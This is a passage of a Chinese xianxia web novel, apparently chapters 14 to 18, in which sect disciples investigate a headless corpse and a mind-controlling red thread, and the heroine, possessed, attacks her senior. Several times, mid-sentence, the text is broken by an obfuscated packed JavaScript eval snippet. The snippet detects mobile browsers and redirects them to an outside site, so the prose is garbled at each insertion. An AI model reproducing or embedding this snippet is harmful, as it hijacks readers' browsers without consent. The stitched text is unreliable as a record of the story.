他重重念出“男弟子”两个字。 弟子们交换视线,皆露出几分轻蔑。 宁竹盯着自己的鞋尖,装死。 嗯,被他说中了一半,他们俩的确是来蹭积分的。 出于对自己实力的错误估计,给大部队造成了了麻烦,被抱怨也是情理之中。 至于说她故意拉上江似……宁竹不想解释。 她和江似清清白白,有什么好解释的,脑子长在别人身上,管他们怎么想。 白晚的眼眸中浮现出几分压抑不住的自得。 可惜被谢寒卿很敏锐地捕捉住了。 谢寒卿看向宁竹。 她微微垂着头,露出一截白皙纤细的脖颈,衣摆破了几处,白皙的脸颊上也沾了一点灰。 有点狼狈,但表情平静,仿佛这些难听的话只是一阵风,拂耳便过了。 谢寒卿忽然问:“宁竹,你知道金丹期弟子才能领取任务么。” 仿佛平静的水面被小石子打破,泛起层层涟漪,她的表情终于有了波动。 少女缓缓摇了摇头:“对不起,谢师兄,我不知道。” 她睫毛微颤了下,眼眸不自觉瞥向江似。 她在说谎。 谢寒卿没有放过她一丝一毫的表情。 是为了替这个叫江似的弟子遮掩么。 他的目光落在少女被红丝勒出细细血痕的脖颈,心底再度生出几分烦躁。 宁竹又说:“谢师兄,我们现在知道了。” 她弯腰,给众人弯下腰:“各位师兄师姐,对不起,是我们给你们添麻烦了。” “我们即刻就回宗门,回去后自会去戒律堂领罚。” 白晚脸色稍稍好看了点。 她正要说什么,一道清冷的声音响起:“你可知我在玉牒上下了禁制。” 小仙君轻描淡写道:“因任务难度高,为了避免领取任务后又中途反悔,退出者,要被扣去一万积分以作惩戒。” 宁竹僵住了。 谢寒卿又说:“你们已经杀死了一只变异女妖,我会呈报上去,留下来,继续任务。” 白晚的表情绷不住了。 宁竹的眼眸倏然一亮,只是她努力压抑住兴奋,小声说:“但我们……会拖后腿。” 谢寒卿似乎笑了下,如同惊鸿掠影,很快消失。 少年仙君语气很平淡:“只要我在这里,就没有人能伤害天玑山弟子。” 宁竹忽然被狠狠戳中了。 这就是龙傲天男主的自信吗!她信,她当然信! 宁竹正要发表感谢的话,却听白晚咬牙切齿道:“既然有人嫌我多管闲事,又何必在这里惹人嫌!” 说完这句话,她眼眶里含着泪瞪了谢寒卿一眼,转身就走。 “白晚师妹!” “白师妹!” 白晚不顾众人挽留,狠狠甩了下手中长鞭,纵身一跃,消失在黑雾中。 宁竹人傻了。 不是因为她气跑了一个人,而是因为这个名字。 魔尊弃苍座下最为恶名远扬的幽冥鬼母……不就叫白晚吗? 所有大魔王身旁都有一个作恶多端的反派帮手。 幽冥鬼母就是原著中最让人讨厌的一个。 宁竹看书看得很潦草,也记得幽冥鬼母喜欢听琵琶,她库房中有一件名为千面琵琶的法器。 听说正是剥下数千个修士的皮,抽出他们的经脉所制成的。 而且最为人唏嘘的是,幽冥鬼母堕入魔道前,曾是修真世家出身。 难道这个白晚,就是后来的幽冥鬼母? 宁竹的喉头像是堵了一块棉花,她咽了咽口水,问:“方才那位师姐,好像不是我们天玑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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很显然,他们把江似方才的动作认成了小情侣之间的调戏。 宁竹的发髻被他弄得有点儿乱,她扶了扶发上的簪子,耳尖染上一层薄红,凶巴巴瞪江似一眼。 江似瞳色微深。 没有,看不见,也摸不到。 为什么独独是她和谢寒卿没有? 江似注意到谢寒卿的目光。 他勾了下唇,蜷起手指,轻轻刮了一下她小巧挺翘的鼻尖。 宁竹几乎要炸毛了,她猛然往后缩,跟见鬼了似的看着他。 江似摊开手,一副光明磊落的模样:“有只虫。” 他看着谢寒卿说。 那只小小的黑色硬壳虫被他捏碎,江似随意甩了下手,问谢寒卿:“谢师兄有没有发现什么异常?” 谢寒卿的目光落到他脸上。 黑雾弥漫,月色稀薄,少年的眼睛幽暗如深沉夜幕,笑看着他。 只是笑意之下,似乎压抑着什么,暗流汹涌。 15. 第 15 章 谢寒卿面色平静:“是怨妖。” 怨妖,生前怨气缠绕,死后怨气便会转化为妖力。 “这无头女尸生前曾是一个灵根被毁的修士。” 谭芸最先惊呼起来:“修士?” 一个修士怎么会落得这副凄惨的模样?她的目光落到旁边那颗被咬断的头上。 依稀看得出来被毁容前,这女子容貌生得还算美丽。 谢寒卿抬手,女人掉落的头颅飞过来,有金色的光无声穿梭在断裂处,女人的身首被缝合起来。 他又一挥手,一块白布将女人暴露的身躯包裹起来。 谢寒卿:“入夜后并不安全,我们先回晓天山庄。” 女尸被操纵着飞在他们身后,一行人很快回到了晓天山庄。 晓天山庄建得非常气派,雕梁画栋,琅琊高阁,其中一间庭院被一层淡蓝色的保护罩笼罩起来,里面没有一丝黑雾。 宁竹远远便看见白晚坐在太师椅上,旁边一个身形高壮的男子正在殷勤的给她递果盘。 "仙子尝尝这蜜瓜,乃是用冰窖妥善保存的,新鲜脆甜。" 白晚一副兴致不高的模样。 男子又端来一碟小巧的糕点:“那仙子尝尝这桂花牛乳蜜豆糕?自然比不得仙门的精致,但也别有一番风味……” 白晚眉宇之中露出一丝不耐烦,但她忽然瞥见他们回来了,她又露出一个笑,翘着手指拈起一块糕点:“好啊,谢过秦大哥的美意。” 男人露出飘飘然的表情,谄媚道:“仙子还有什么想吃的都可以跟我说,我保证给你弄来。” 白晚的声音温柔似水:“那就谢过秦大哥了。” 仿佛没有看到他们的互动,谢寒卿将女尸放到地上:“秦公子过来看一看,此人你可认识?” 白晚的脸色阴沉了下来,她哼了一声,眼圈又开始泛红。 齐玉明和谭芸忙过去安慰她,也就没有注意到秦虎在看到那女尸的一刹那,脸色微变。 他连忙摆手:“这是何人?为何脸都被划花了?” “我们庄子上并没有这个人,也是个可怜人,定是那妖孽作祟……谢仙君还请放心,庄子上会负责替这位小姐收敛尸骨。” 谢寒卿冷不丁开口:“此乃怨妖,我们刚才发现他杀了庄子上七个青壮。” 他抬头:“陈师弟带着他们回来了。” 陈宸方才奉命留在怨妖杀人的现场,此时恰好拖着一堆尸身回到了庭院。 □□横陈滚落在地,屋子里的侍女尖叫起来。 炎陵庄庄主秦宣杵着拐杖出现,他脸色铁青,目光从尸体的脸上划过:“谢仙君还请为我炎陵庄做主!” 他老泪纵横:“这些孩子……都是我看着长大的啊。” 安抚好庄子里的人,又将尸体妥善存放后,夜色已经很深了。 庭院里放了一个屏障法器,能隔绝这些黑雾。 炎陵庄里放置了五个这样的法器,晚上的时候庄子里的人就聚齐在法器制造的屏障里休息,以免在不备之时被雾妖吞噬神魂。 天玑山的女修们总共有三人,加上白晚,四个人分到了一间房。 屋子里有两张床铺,谭芸和一个女修睡一张,白晚独自睡一张,压根没有让宁竹上来的意思。 宁竹的乾坤袋里准备了褥子,她自个靠着墙边抖开被褥,神情自若开始编剑穗。 是的,要做任务,但是珠玑阁那边也得交差,她才没时间听她们背后蛐蛐她。 三个女弟子在背后嘀嘀咕咕了一会儿,见当事人没什么反应,自讨没趣的睡了下去。 很快屋子里便传来均匀的呼吸声。 宁竹揉了揉酸涩的眼睛,打算将手里这根剑穗编完。 屋外笼罩在一片幽深的蓝光里,蓝光之外便是浓黑的雾气,他们像沉在深海里的一颗珠子,引人窥伺。 忽然有一道人影投映在门上。 那人脚步无声,如同一道鬼影。 宁竹还沉浸在剑穗的收尾工作里,没有注意到来人,直到门吱呀一声开了。 宁竹头皮发麻,整个人险些炸开。 她以最快速度握住手中的点青剑,抬头看向来人。 齐玉明? 怎么会是他?他这个时候来干什么? 转瞬之间,齐玉明已经朝着屋里的床榻走了过去。 宁竹大感不妥,出声唤他:“齐师兄,你走错屋子了!” 然而齐玉明根本没听到她的话一般,径直朝着白晚的床榻翻身而上。 他搂住了白晚,用一种蛊惑的语气说:“白师妹,谢寒卿有什么好,你不若……看一看我?” 宁竹抓着点青剑,背脊紧贴着墙壁,看着眼前这诡异的一幕。 正常人根本不会做出这样的举动,更不会说这样的话,齐玉明难道是被雾妖伤了神魂? 那边齐玉明已经将白晚搂在了怀里,开始试图解她的衣带。 宁竹大惊,高喝一声:“齐师兄!你在做什么!” 齐玉明没有停下动作,而谭芸和另一个女修仿佛陷入了昏迷一般,对屋子里的动静浑然不觉。 宁竹冲上去拉拽齐玉明,却被齐玉明反手一挥,重重击倒在地。 宁竹咳出一口血,爬了起来。 对方修为远在自己之上……她忙拉开门,去寻找救援! 然而才踏出门槛,忽有一个人抓住她的胳膊,将她拢入怀里,伸手捂住了她的唇。 宁竹背脊发麻。 她嗅到了一股熟悉的味道。 阴冷,清苦,仿佛尘封多年的庙宇。 江似的掌心湿冷,如同冰冷的蛇,紧贴着她的脸。 他偏头,滚烫的气息尽数喷洒在宁竹耳畔:“嘘——不想看一看,他们要做些什么吗?” 屋子里,白晚已经露出大半个莹白的肩膀,她高高扬起头,似乎在享受那些落在脖颈上的吻。 少女发出难耐的喘息,她搂紧齐玉明,嗓音断断续续:“谢,谢师兄……” “姐姐有什么好?她那么死板无趣的人,怎么能给你带来快乐?” 她咯咯笑着,白臂缠在齐玉明脖颈上,手指插入他的发尖,嗓音暧昧:“谢师兄,你说姐姐看见我们这样……会不会被气得脸都变形了?啊……我真想看到她那副模样,充满嫉妒,表情扭曲……’” 齐玉明不给她再说下去的机会,已经吻上了白晚的唇,津液之声啧啧作响,两人抵死纠缠,挤压着彼此的身子,恨不能化为藤蔓。 江似吃痛,嘶了一声 他垂下眼,阴沉地看着宁竹。 宁竹咬他一下不够,还想来第二下。 江似横在宁竹身前的手臂收紧了,他嗓音喑哑:“宁竹,不要坏人好事。” 话音落,江似背心发痛,整个人如同风筝一般被打飞。 谢寒卿收势,飘扬的衣袍缓缓坠落,宁竹愕然回头。 少女白皙的脸颊落下了几道发红的指印,她红唇微张,唇角还有血,发丝乱了,眼眶里浮着点点清泪。 充斥着一种……被凌虐后的脆弱感。 似是看到救星一般,她眼眸倏然亮起来:“谢师兄!” 谢寒卿的目光在她脸上定格了一顺,不着痕迹挪开。 他快步走进了屋中。 宁竹狠狠瞪了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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闹出那么大的动静,一旁的谭芸和另一个弟子竟还在昏睡。 谢寒卿经过两人时,眉头几不可察皱了下。 失魂诀? 失魂诀不伤身,但中诀之人要满十二个时辰才能醒来。 看出他的停滞,齐玉明满头大汗,结结巴巴说:“谢,谢师弟……是我捏的失魂诀。” 谢寒卿看他一眼,倒也没说什么,两人一同跨出了门。 江似见二人出来,抬起手背随意擦掉唇角的血。 他黝黑的眸微微闪动,似乎很是惊讶:“邪祟已经解决了吗?” 谢寒卿的目光落在这张漂亮得几乎有些邪气的脸上,开口问:“师弟方才为何不出手相助?” 齐玉明也愤恨地看向他。 原来他方才在这外面?那他为什么不阻止他?!害得他丑态毕露! 江似面上浮现出无辜之色:“谢师兄,我和宁竹不过是筑基期修为,怎么可能打得过被操控神智的金丹弟子?” 他毫无羞愧之意,坦坦荡荡说:“谢师兄,自保也有错吗?” 他说的的确不错,但齐玉明的脸色还是红一阵白一阵,他狠狠拂袖,怒气冲冲离开。 江似看着齐玉明离开的背影,唇角暗暗勾起。 他身边缭绕的红色絮状物中,出现了一丝黑色。 江似的眸光兴奋地闪动着。 欲念,原来这些絮状物……是欲念。 贪嗔痴,怨憎恨,谁能没有欲念? 而今这些欲念,都将化为他手中利器,如何不叫人激动? “江师弟。”一道清冷的声音响起。 如同兜头泼下的冷水,江似的瞳孔微微一缩。 他回过头,看向这个自己唯二看不到欲念之人。 谢寒卿面无表情看着他:“夜色已深,江师弟又为何在外徘徊?” 江似毫不慌乱,甚至笑盈盈看着他:“谢师兄呢?谢师兄是来做什么的,我就是来做什么的。” 16. 第 16 章 屋子里,白晚忍不住抱着被衾大哭起来。 修真界风气开放,加之修士寿命比凡人长上许多,一个修士一生中有多个道侣也是很正常的事情。 但白晚没想到,自己竟会和一个根本不喜欢的人发生了如此亲密的举动。 她恨不能将齐玉明杀了。 可又能如何?谢师兄也看见了,她难道还能把谢师兄也杀了? 白晚哭得上气不接下气时,忽然听到屏风后有水声。 对了,还有那个碍事的外门弟子! 她毕竟是天玑山的弟子,若是自己把她杀了恐怕不好交代……但她尽可以毁去她的灵根,捣毁她的识海,叫她变得痴傻,好忘记她都看见过什么! 白晚脸色阴沉,凝起一团灵火无声下了榻,走到屏风背后。 出乎意料的是,她看见了那外门弟子站在浴桶旁,似乎正在犹豫要不要往浴桶里放花瓣。 宁竹注意到来人,回过头来。 白晚下意识背起手,掌心灵火也消失不见。 “你在做什么?”她声音阴冷。 宁竹神情自然:“要泡个澡吗?” 白晚表情僵住。 宁竹指着热气缭绕的浴桶:“不知道你喜不喜欢花瓣,我放这里了,需要你自取。” 她冲她笑了下,绕过屏风离开。 热气氤氲,干枯花瓣缠绕了水汽,散发出馥郁的香。 白晚低头看了下肩上的红痕,指尖不自觉地拨了下热水。 比起净身诀,她好像……确实想泡个澡。 宁竹掩上屋门,见谢寒卿和江似站在外面,气氛十分古怪。 她愣了下,问:“谢师兄,方才是因为雾妖影响吗?” 谢寒卿实话实说:“雾妖对修士影响甚小,以他们二人的修为,原本不应如此,但也不排除白日里吸入太多雾气,入夜后神思懈怠,以至邪气入体的可能。” 谢寒卿问宁竹:“齐玉明来的时候,你可还注意到什么异常?” 异常?最大的异常就是江似,大晚上的他在女弟子的门外干什么。 江似唇边还沾了点已经干涸的血迹,他有恃无恐地看着宁竹,仿佛根本不在意她会说出什么。 宁竹沉默片刻,语出惊人:“其实我想问,为什么大晚上你们两个都不睡觉。” 谢寒卿身份贵重,庄主单独为他备了一间屋子。 而江似似乎是和另一个弟子歇在一间的。 她狐疑地看着两人。 江似别有深意看了谢寒卿一眼:“这你就要问谢师兄了。” 谢寒卿冷不丁开口:“走。” 他率先离开。 江似停滞了一刹,也跟着上前。 见宁竹立在原地,他抬手扯她一把:“一起啊。” 一刻钟后,宁竹站在一间形状古怪的屋子前怀疑人生。 这屋子主体是土黄色,没有屋顶,像是用泥巴糊成了一个倒扣的碗。 屋子通体被加上了禁制,若是强行闯入,会触发禁制。 倒是有一扇黑色的门,但从里面落了锁。 谢寒卿淡声说:“我方才已经试探过,只有女子能不触发禁制进入此屋。” 他带着两人走到屋后。 上面有一扇开得极高的小窗,窗口极小。 谢寒卿看着这间诡异的屋子道:“寻踪符指引到这里,这无头女尸必定和屋里的东西有关联。” 无头女尸身上定有蹊跷,庄主也有蹊跷,方才看见女尸,第一时间注意到的竟是她的脸被划花,而不是她身上缠绕的那些诡异红丝。 宁竹好不容易有了用武之地,忙说:“我爬进去给你们开门!” 谢寒卿:“宁师妹……” 宁竹却已经往后一蹬,如同一只壁虎爬上了墙。 修士身形灵活,宁竹三五下就抓住了窗沿。 宁竹伸手查探了下,发现窗子可以推开,她探头看了一眼,屋子里黑黢黢的,似乎一片空荡荡。 她冲下面两人说:“里面好像什么也没有,我先进去,一会儿给你们开门。” 宁竹推开窗,正要爬进去,忽有什么东西直直朝她射来! 宁竹来不及反应,眉心刺痛,整个人便如同一只风筝直直跌落下来。 谢寒卿瞳孔一缩,足尖轻点腾到半空中,一把将少女揽入怀里。 满怀冷香撞上来。 不同于江似身上略略有些阴冷的气息,谢寒卿的身上,总有一种风雪清冽,天霁云开的味道,似乎不染世间半分污浊。 江似站在一旁,看两人肌肤相贴,目光相对,脸色霎时阴沉下来。 他上前抓住宁竹的胳膊,语气里充满关怀:“宁竹,怎么回事?” 宁竹反应过来,忙不迭从谢寒卿怀里跳下来,有点尴尬:“刚刚好像有什么东西朝我飞了过来。” 她抬手揉了下眉心,有点痒。 谢寒卿注意到她的动作,语气严肃起来:“手给我。” 宁竹乖乖将手递过去。 谢寒卿指尖点上她的手腕,仔细查探她的灵丹和识海。 没有异常。 谢寒卿:“我上去看看。” 他踏着怀卿剑,飞到那扇窗子前,捏了个法诀。 屋中光芒大作,谢寒卿借势看清了屋中景象。 空空如也,唯独正中间的位置,放着一只青铜鼎。 谢寒卿操纵灵力将青铜鼎挪开,露出一扇暗门来。 谢寒卿回到地面,宁竹问:“谢师兄可看到别的什么?” “地面上有一扇暗门。” 宁竹一拍手掌:“那定是要进去的!” 她摩拳擦掌:“我进去给你们开门。” 谢寒卿抬手拦了下她,将自己乾坤袋取下递给宁竹:“乾坤袋里有护身法器,若遇危险,会自动抵挡。” “我在窗边为你护法。 江似在一旁阴恻恻看着宁竹欢天喜地接过那只乾坤袋系在自己腰上,忍不住出言嘲讽:“这地方古怪,万一突生变数,你觉得这些法器护得住她?” 他黢黑的眼珠转了转,蛊惑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888543|192126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“我看谢师兄不若让宁竹拿着你的怀卿剑,有你的剑意相护,想必更加安全。” 谢寒卿的剑,从不让别人碰。 江似带着恶劣的笑意,看他要如何回应。 谢寒卿眸光冷淡扫他一眼。 空气微微波动,一把如同冰雪雕就的长剑凭空出现,在空中打了个旋。 怀卿剑跟在宁竹身后,并不近她的身。 谢寒卿说:“它会跟着你。” 有谢寒卿的剑跟在背后,宁竹根本不带怕的,她动作麻利翻进屋子,给他们开了门。 谢寒卿和江似进来后,仔细打量着这间诡异的屋子。 暗门几乎与地面融为一体,上面雕刻着古怪的符文。 谢寒卿屈膝跪地,冷白的手指点在暗门上,仔细感受,片刻后,他起身说:“没有妖气,亦无魔气。” 他捻了下从无头女士身上取下来的红丝,对江似和宁竹说:“你们先回去。” 江似抱着手,挑起眉头:“谢师兄要自己下去?” 宁竹最先开口反对:“谢师兄,一个人太冒险!要是出了什么事都没有人接应你。” 说完话,她才意识到自己真是大言不惭。 谢寒卿是谁,本书男主龙傲天,一个连原著提都没提的任务,能有什么危险,再者她一个小菜鸡,谈什么接应…… 谢寒卿却仿佛注意到她突然低落下来的情绪,淡声说:“你说得有道理。” “宁师妹和江师弟能否在外等候片刻,若有人来,便捏碎这枚传音符。” 谢寒卿递来一枚符箓,抬手打开了暗门。 一股阴风倏然扑上来,激得人不禁打了个寒战。 谢寒卿不再多言,纵身一跃跳进了暗门。 宁竹还来不及将谢寒卿的乾坤袋还他,人已经消失不见。 宁竹不由有些紧张,应该……没事吧? 他毕竟是谢寒卿。 可宁竹想起初次见面时那个满身是血,筋脉寸断的小仙君,忽然又觉得心沉沉坠下去。 将来一剑震八荒的须弥仙君,如今还是个十几岁的少年。 宁竹探头看了一眼暗门,黢黑不见底,阴风阵阵。 她……她没那个勇气跳下去。 黑暗让人恐惧,宁竹从自己的乾坤袋里翻出一枚萤石,萤石散发出幽幽的暖黄色光线,稍稍驱散了无边暗色。 江似偏头看她一眼,讥笑道:“很紧张他?” 宁竹还在生他的气,扭过脸不想同他说话。 江似忽然拍了下她的肩膀,用一种古怪的腔调说:“宁竹,一会儿我要是死了,你可别哭。” 细小的风擦过宁竹的手背。 她愕然回头,却见江似脸上带着一抹坏笑,仰面倒进了暗门。 身体比意识反应更快,宁竹扑到暗门边去抓他。 少年坠落的速度太快,宁竹的指尖只擦过他飘在空中的玄色发带。 暗门之后归于寂静,只剩浓稠的,无边的黑暗。 宁竹心头忽然生出一丝惧意。 17. 第 17 章 时间被一分一秒拉长,宁竹手中死死抓着点青剑,盯着暗门背后。 她想她该去叫其他弟子过来帮忙的,又担心如此大张旗鼓,惊动炎陵庄旁人。 毕竟她也看出来这庄子古怪得很。 宁竹看了一眼放在旁边的小小滴漏计时法器,上面的刻度显示他们进去一刻钟了。 怎么才一刻钟?感觉都过去好几个时辰了。 但宁竹知道计时法器不会出错。 因为太过紧张,宁竹的手臂都绷得有些发酸。 她决定再过一刻钟,若是他们还不出来,自己就去找天玑山的其他弟子帮忙。 计时法器里五彩斑斓的细沙缓缓流动着,静谧无声。 两刻钟到了。 宁竹起身那一刻,忽然听到暗门背后传来一道尖利的叫声。 像是女人在尖叫,又像是婴孩在啼哭,那声音离她越来越近。 宁竹头皮发麻,召出一件高阶防御法器,执剑对准暗门处。 眨眼之间,有什么东西飞了出来,防御法器没有任何反应,只是蓝色光膜微微波动了下。 宁竹反应过来的时候,那根红丝已经飞到了她面前,不同于无头女尸身上的那些,这根红丝隐隐泛着金光,并无邪气,反而透出一种圣洁的气息。 宁竹警惕地往后退了半步,那红丝浮在空气中,似乎在端详她。 是的,它像是有生命一般,仔细端详着面前这个人类。 宁竹的汗毛根根倒竖起来。 第六感在疯狂示警,宁竹召出所有能用的防御法器,扭头就跑! 然而红丝速度比她更快,它灵活地游走在空气中,没有触发任何一件防御法器,噗一声没入了宁竹的眉心。 少女的身子微微一僵,防御法器失去操控,噼里啪啦砸落在地。 萤石还在散发幽幽的亮光,少女洁白的脸颊蒙上一层金光。 她缓缓抬起空洞的眼,整个人看上去如同九天之上俯瞰人间的神女,神性疏离中,又隐隐透着一丝邪气。 跳下去。 仿佛有人在她脑海中给出指令。 宁竹走到暗门边,纵身一跃。 暗门之下原来藏着一条幽深的甬道,宁竹沿着甬道走了许久,突然听到滴水的声音。 滴答,滴答,像是水珠聚集在岩石之上,又不堪重负跌落。 宁竹顺着水声方向走去,直到面前赫然出现两条路。 嶙峋的怪石张牙舞爪,两个黑黢黢的洞口张着巨口,待人饲食。 宁竹稍稍偏了下头,径直往右边那条路走了过去。 地面上随处滚落着碎石,宁竹的脚尖踢在碎石上,响声回荡在空洞的岩洞里。 左边的岩洞里,江似听到外面细碎的响动,倏然抬眸。 方才吸引着他跳下暗门的兴奋感再度袭来。 ……那东西又出现了。 江似眸光闪动,放弃了对岩洞的搜寻,他踢开脚下用来对付入侵者的妖兽尸体,以最快速度原路返回,折到了另一边。 怀卿剑泛着冷蓝色的光,垂在谢寒卿手中。 他面前是一副无比诡异的场景。 约摸七八个人面对面围成一个圈,飘浮在空中,无一例外,每个人脸色都灰白不已,像是死去多时。 然而谢寒卿分明记得,在他斩断他们眉心连接的红丝前,这些人都还有呼吸。 圆圈下方画着一个复杂的阵法,谢寒卿十岁时便阅遍天下古籍,也没见过这阵法。 众人眉心的红丝已然垂落而下,如同枯萎的藤蔓,失去色泽,微微卷曲着。 这些人都是修士,而且是灵根被毁的修士。 谢寒卿拧眉。 身后忽然传来极轻的脚步声。 谢寒卿回头,怀卿剑发出低沉的嗡鸣。 一道娇小的身影从黑暗中走出来,她微微垂着头,刘海滑落,遮住她大半张脸,只露出莹白小巧的下巴。 “宁师妹?” 宁竹没有回应,垂着头一步步靠近谢寒卿。 少女垂落在肩头的青丝泛着一种诡异的光泽。 她像是在梦游一般,眼睫微敛,面上是一种迷茫的表情。 宁竹忽然停下了。 似是起了风。 宁竹以一种绝非她修为能做到的速度抽出点青剑,剑剑直指谢寒卿的喉咙。 谢寒卿瞳孔一缩,险而又险往后倒退半步,怀卿剑与点青剑碰撞在一起,发出铮的一声。 宁竹又动了。 她抬手挽了个剑花,飞身而上,宛如剑神降世,压着谢寒卿打,招招直指谢寒卿的要害! 谢寒卿不见慌乱,与她连过几招之后,他忽然发现每每点青剑要伤到他,宁竹面上都会浮现出一种痛苦挣扎的神色。 随之剑尖就会发生一点微妙的偏移。 她被什么操控了,但她的本体意识在做挣扎。 谢寒卿淡漠的瞳在轻轻颤抖,他兴奋地看着宁竹的出招,以一种诡异的速度在脑海中将剑招拆解,消化,又以同样的剑招做出回应。 很快操控宁竹之物便察觉到自己被人戏耍了,宁竹的剑招越来越快,剑光连绵,几乎晃成一片银光。 宁竹唇边忽然溢出鲜血。 谢寒卿手下一慢,肩上挨了一剑,殷红的血霎时将白衣染透。 点青剑再度发生偏移那一刻,谢寒卿反手缴了宁竹手中的剑。 宁竹出于惯性,继续朝谢寒卿袭来。 失去了武器,她手脚并用,甚至连牙都用上,势要从谢寒卿身上咬下一块肉来。 谢寒卿肩膀被她咬住,怕伤到她,只能抓住宁竹的胳膊强行将人掰开。 然而宁竹很快又扑了上来,这一次,她照着谢寒卿的脖颈咬去,仿佛一头野兽。 然而在她触上谢寒卿的那一刻,凶猛的撕咬忽然停顿,少女柔软的唇舌擦过他的喉结,变成了一个不重的啃吻。 小仙君如遭雷击,整个人僵在原地,淡色的瞳霎时泛起滔天暗色。 宁竹抓着他的衣裳,哇地吐出一口血来。 谢寒卿猛然回过神来,发现怀中人经脉逆行,灵气暴走,俨然就要爆体而亡! 他面色微变,灵力直直撞入宁竹的灵丹,滔滔不绝地输送过去。 宁竹体内乱成一团的灵力被一股更强大的灵力包裹着,逐渐归于平静。 谢寒卿的眉头却蹙了起来。 她的灵丹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888544|192126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里浮着蛛丝一样的红丝,谢寒卿试图分出灵力去清除,然而红丝仿佛有意识一般,会躲避,甚至会突然消失,险些叫谢寒卿的灵力打在宁竹身上。 谢寒卿的灵力顺着宁竹的经脉游走了一圈,心重重沉下去。 那些红丝,已经散布到她身体的各个角落。 这到底是什么? 无邪魔之气,却可以操纵人。 谢寒卿不是轻言放弃之人,他耐着性子,将灵力分成比红丝更细的丝线,从四面八方缠绕上去,将红丝包裹住,有一点点逼到她的灵丹中。 小仙君全神贯注,鼻尖都缀了一点细汗。 不远处的矮岩之后,江似隐蔽身形,面无表情看着相拥的两人。 少年的瞳孔黑得诡异,几乎泛起一种不详的血红色泽,他压抑着体内的躁动,不由自主舔了下发干的唇角。 那东西在宁竹体内。 他无比清晰地感知到。 似是久旱之地渴望甘霖,他的每一寸骨血都在叫嚣,就是此时,上前把宁竹杀了,你就能拥有它。 去啊。 快去啊。 无数道尖利的声音在他脑海中叫嚣,江似抓着岩壁的手指泛起青白之色。 他的脚往前轻轻迈了一步。 宁竹再度吐出一口血来。 江似吓了一跳,他看着少女苍白如纸的脸,心脏深处忽然爬起一丝异样的恐惧。 那天在幽冥集市,她提着剑冲上来,被人打飞的时候,脸色就像这么一样白。 脆弱的,无力的,任人宰割的。 他知道若是撒手不管,那个男人会怎么对待她。 女修,一个貌美又修为低下的女修,是炉鼎的最好人选。 与他何干? 他原本想。 可少女如同一只破风筝倒在地上,那双总是噙着笑的眼睛溢满了恐惧。 她还在试图抓起被打飞的灵剑,试图与面前高大的男人抗衡。 那男人用令人作呕的语气叫她“小美人”,他看见她的身子在轻颤。 江似不无恶劣的想,现在知道害怕,又为何要常常只身来这鱼龙混杂的幽冥集市晃悠,又为何要出面帮他? 他潜伏于身体最深处的力量冲破锁魂钉的禁锢,再度爆发。 男人被炸成了碎片。 锁魂钉在惩罚他再次动用那股被压制的力量。 他倒了下去,天地倾倒间,他看见少女爬了起来,朝他冲过来。 他倒在地上,看着那张慌乱带泪的脸,心底尽是嘲讽。 哭什么,他这样的人,又死不了。 宁竹发出痛苦的,破碎的呻.吟,将江似的思绪猛然拉回。 她似乎在抗拒什么,但又在竭力忍耐。 少女纤长的眼睫一片濡湿,唇边的血逐渐变得暗红,她整个人的生命力好像在一点点被抽干,脸色变得几乎透明。 江似定在原地,眼珠僵硬,一动不动看着宁竹。 他好像忘了,宁竹只是一个普通的修士,她会死。 少女如同一张尘封多年的旧纸,似乎只要轻轻一捻,便会化作飞灰。 江似的胸膛起伏了下,他眼珠转了转,上前半步。 18. 第 18 章 谢寒卿的唇边也溢出一道淡淡的血线。 江似知道他在做什么。 他在努力抽离宁竹体内的东西。 可江似比谁都清楚,取不出来的。 那东西只会牢牢植入骨血,成为身体的一部分。 为什么他会知道? 因为他体内就藏着这么一个怪物。 那怪物如同隐藏在暗处的狩猎者,四处搜寻着同类的气息,屠杀,吞噬,融为一体。 江似缓缓抬手,按住了自己的眼眶。 那对瞳孔似乎感受到他的情绪,在微微跳动。 谢寒卿和宁竹忽然同时咳出一口血来。 两人几乎是相拥着倒了下去。 江似体内的躁动同一时间归于平静。 少年少女衣袖交叠,发带相缠,衣衫被彼此的血染湿。 江似觉得很刺眼,他上前,一脚踢开了谢寒卿。 小仙君已经昏迷了过去,全无反应。 江似抓住宁竹的手腕,直直探入她的灵丹。 一枚纹路繁复的印记泛着金光,与丝丝缕缕的红丝相缠,浮动在宁竹的灵丹中。 江似眼角跳了下,眼神阴翳。 谢寒卿竟分出自己的元神去封印这些红丝?! 江似阴冷地盯住宁竹。 很简单,只要杀了她,再毁去封印,他就能得到这些红丝。 江似的灵力如同一条阴冷的蛇,吐着信子缠上宁竹的四肢。 只要稍稍挤压,她就会死。 可为什么他在犹豫。 脑海中又响起无数道尖利的声音,动手,动手啊! 灵力缓缓收紧,如同爱人的抚摸。 有冰冷的剑刃压到江似脖颈上。 “放开她。”谢寒卿的声音响起。 